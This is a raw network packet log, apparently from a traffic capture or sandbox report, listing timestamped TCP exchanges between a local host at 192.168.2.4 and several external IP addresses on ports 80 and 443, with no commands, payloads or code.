Dec 15, 2024 11:59:13.048052073 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.048146963 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.048198938 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.049057961 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.049115896 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.049187899 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.049241066 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.050084114 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.050138950 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.050174952 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.050229073 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.051150084 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.051209927 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.051284075 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.051341057 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.052165985 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.052222013 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.052292109 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.052345991 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.053371906 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.053427935 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.053517103 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.053571939 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.072736025 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.072782040 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.072829962 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.072830915 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.073122978 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.073174000 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.073183060 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.073225021 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.074050903 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.074173927 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.074174881 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.074238062 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.075124025 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.075181961 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.075335979 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.075387001 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.076137066 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.076193094 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.076230049 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.076276064 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.077188969 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.077244043 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.077281952 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.077326059 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.078227997 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.078288078 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.078407049 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.078453064 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.079348087 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.079406977 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.079417944 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.079463005 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.080456972 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.080509901 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.080543041 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.080589056 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.081402063 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.081455946 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.081494093 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.081538916 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.082428932 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.082480907 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.201548100 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.201642036 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.201680899 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.201730967 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.202050924 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.202100992 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.202157974 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.202207088 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.203103065 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.203151941 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.203217030 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.203265905 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.204148054 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.204196930 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.204479933 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.204529047 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.204588890 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.204636097 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.205549955 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.205598116 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.205662012 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.205708027 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.206599951 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.206648111 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.206653118 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.206693888 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.207628965 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.207676888 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.207741022 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.207782984 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.208796024 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.208832026 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.208849907 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.208874941 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.209743977 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.209790945 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.209917068 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.209963083 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.210843086 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.210891962 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.211038113 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.211086988 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.211946011 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.211982012 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.211992979 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.212023973 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.213023901 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.213059902 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.213073969 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.213103056 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.214097023 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.214132071 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.214145899 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.214174032 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.215126991 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.215159893 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.215178967 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.215194941 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.216083050 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.216116905 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.216133118 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.216157913 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.217220068 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.217255116 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.217267990 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.217293978 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.218346119 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.218379974 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.218394041 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.218422890 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.219367981 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.219402075 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.219419003 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.219443083 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.220276117 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.220323086 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.220388889 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.220436096 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.221302032 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.221352100 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.222044945 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.222094059 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.222377062 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.222424984 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.222431898 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.222477913 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.223404884 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.223452091 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.223516941 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.223578930 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.224534988 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.224589109 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.224589109 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.224639893 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.225605011 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.225640059 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.225665092 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.225697041 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.226660967 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.226715088 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.226788998 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.226838112 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.227741003 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.227776051 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.227804899 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.227842093 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.228760004 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.228795052 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.228817940 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.228847027 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.229856968 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.229892015 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.229911089 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.229940891 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.230772018 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.230828047 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.230966091 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.231019020 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.231829882 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.231892109 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.232029915 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.232079983 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.232916117 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.232965946 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.233174086 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.233221054 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.233968019 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.233978987 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.234030962 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.235029936 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.235042095 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.235085964 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.236008883 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.236018896 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.236054897 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.236087084 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.237144947 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.237155914 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.237201929 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.238199949 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.238215923 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.238266945 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.239257097 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.239303112 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.239309072 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.239372969 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.240348101 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.240394115 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.240401983 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.240444899 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.241309881 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.241322041 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.241368055 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:13.242497921 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:13.242552042 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:15.755558968 CET	49754	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:15.755883932 CET	49776	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:15.875657082 CET	80	49776	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:15.875714064 CET	80	49754	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:15.875852108 CET	49754	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:15.875874043 CET	49776	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:15.876049995 CET	49776	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:15.996712923 CET	80	49776	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:16.087709904 CET	49777	443	192.168.2.4	104.21.51.88
Dec 15, 2024 11:59:16.087805986 CET	443	49777	104.21.51.88	192.168.2.4
Dec 15, 2024 11:59:16.087915897 CET	49777	443	192.168.2.4	104.21.51.88
Dec 15, 2024 11:59:16.091075897 CET	49777	443	192.168.2.4	104.21.51.88
Dec 15, 2024 11:59:16.091113091 CET	443	49777	104.21.51.88	192.168.2.4
Dec 15, 2024 11:59:17.224023104 CET	80	49776	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:17.224131107 CET	49776	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:17.319817066 CET	443	49777	104.21.51.88	192.168.2.4
Dec 15, 2024 11:59:17.319904089 CET	49777	443	192.168.2.4	104.21.51.88
Dec 15, 2024 11:59:17.322247982 CET	49777	443	192.168.2.4	104.21.51.88
Dec 15, 2024 11:59:17.322274923 CET	443	49777	104.21.51.88	192.168.2.4
Dec 15, 2024 11:59:17.322782040 CET	443	49777	104.21.51.88	192.168.2.4
Dec 15, 2024 11:59:17.364427090 CET	49777	443	192.168.2.4	104.21.51.88
Dec 15, 2024 11:59:17.373191118 CET	49777	443	192.168.2.4	104.21.51.88
Dec 15, 2024 11:59:17.373231888 CET	49777	443	192.168.2.4	104.21.51.88
Dec 15, 2024 11:59:17.373471975 CET	443	49777	104.21.51.88	192.168.2.4
Dec 15, 2024 11:59:17.552664995 CET	49783	80	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:17.672472000 CET	80	49783	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:17.675338030 CET	49783	80	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:17.675549030 CET	49783	80	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:17.795557022 CET	80	49783	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:18.043715954 CET	443	49777	104.21.51.88	192.168.2.4
Dec 15, 2024 11:59:18.043981075 CET	443	49777	104.21.51.88	192.168.2.4
Dec 15, 2024 11:59:18.044083118 CET	49777	443	192.168.2.4	104.21.51.88
Dec 15, 2024 11:59:18.046406031 CET	49777	443	192.168.2.4	104.21.51.88
Dec 15, 2024 11:59:18.046447039 CET	443	49777	104.21.51.88	192.168.2.4
Dec 15, 2024 11:59:18.370057106 CET	49784	443	192.168.2.4	172.67.207.38
Dec 15, 2024 11:59:18.370148897 CET	443	49784	172.67.207.38	192.168.2.4
Dec 15, 2024 11:59:18.370281935 CET	49784	443	192.168.2.4	172.67.207.38
Dec 15, 2024 11:59:18.370702982 CET	49784	443	192.168.2.4	172.67.207.38
Dec 15, 2024 11:59:18.370733023 CET	443	49784	172.67.207.38	192.168.2.4
Dec 15, 2024 11:59:18.800684929 CET	80	49783	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:18.800791979 CET	49783	80	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:18.808163881 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:18.808197021 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:18.808274031 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:18.817887068 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:18.817900896 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:19.599848032 CET	443	49784	172.67.207.38	192.168.2.4
Dec 15, 2024 11:59:19.599932909 CET	49784	443	192.168.2.4	172.67.207.38
Dec 15, 2024 11:59:19.619266987 CET	49784	443	192.168.2.4	172.67.207.38
Dec 15, 2024 11:59:19.619333029 CET	443	49784	172.67.207.38	192.168.2.4
Dec 15, 2024 11:59:19.620245934 CET	443	49784	172.67.207.38	192.168.2.4
Dec 15, 2024 11:59:19.632606983 CET	49784	443	192.168.2.4	172.67.207.38
Dec 15, 2024 11:59:19.632647991 CET	49784	443	192.168.2.4	172.67.207.38
Dec 15, 2024 11:59:19.632791042 CET	443	49784	172.67.207.38	192.168.2.4
Dec 15, 2024 11:59:20.061333895 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.061413050 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.102511883 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.102560043 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.103517056 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.103585958 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.105690002 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.151334047 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.321770906 CET	443	49784	172.67.207.38	192.168.2.4
Dec 15, 2024 11:59:20.322042942 CET	443	49784	172.67.207.38	192.168.2.4
Dec 15, 2024 11:59:20.322236061 CET	49784	443	192.168.2.4	172.67.207.38
Dec 15, 2024 11:59:20.322236061 CET	49784	443	192.168.2.4	172.67.207.38
Dec 15, 2024 11:59:20.322236061 CET	49784	443	192.168.2.4	172.67.207.38
Dec 15, 2024 11:59:20.497556925 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.497695923 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.497788906 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.497853041 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.497853041 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.497879028 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.497906923 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.497930050 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.497930050 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.497967005 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.498003006 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.498056889 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.498106956 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.498155117 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.505286932 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.505372047 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.505450964 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.505505085 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.513695002 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.513870001 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.513911963 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.514209032 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.522022009 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.522083998 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.618304014 CET	49791	443	192.168.2.4	104.21.16.1
Dec 15, 2024 11:59:20.618396044 CET	443	49791	104.21.16.1	192.168.2.4
Dec 15, 2024 11:59:20.618654013 CET	49791	443	192.168.2.4	104.21.16.1
Dec 15, 2024 11:59:20.618818998 CET	49791	443	192.168.2.4	104.21.16.1
Dec 15, 2024 11:59:20.618840933 CET	443	49791	104.21.16.1	192.168.2.4
Dec 15, 2024 11:59:20.630170107 CET	49784	443	192.168.2.4	172.67.207.38
Dec 15, 2024 11:59:20.630193949 CET	443	49784	172.67.207.38	192.168.2.4
Dec 15, 2024 11:59:20.689990044 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.690128088 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.690187931 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.690253973 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.692893028 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.694417000 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.700862885 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.700925112 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.700949907 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.701013088 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.708758116 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.708834887 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.708848000 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.708897114 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.716742992 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.716809988 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.716845989 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.716905117 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.724667072 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.724734068 CET	49785	443	192.168.2.4	172.67.218.51
Dec 15, 2024 11:59:20.732630968 CET	443	49785	172.67.218.51	192.168.2.4
Dec 15, 2024 11:59:20.732678890 CET	49785	443	192.168.2.4	172.67.218.51
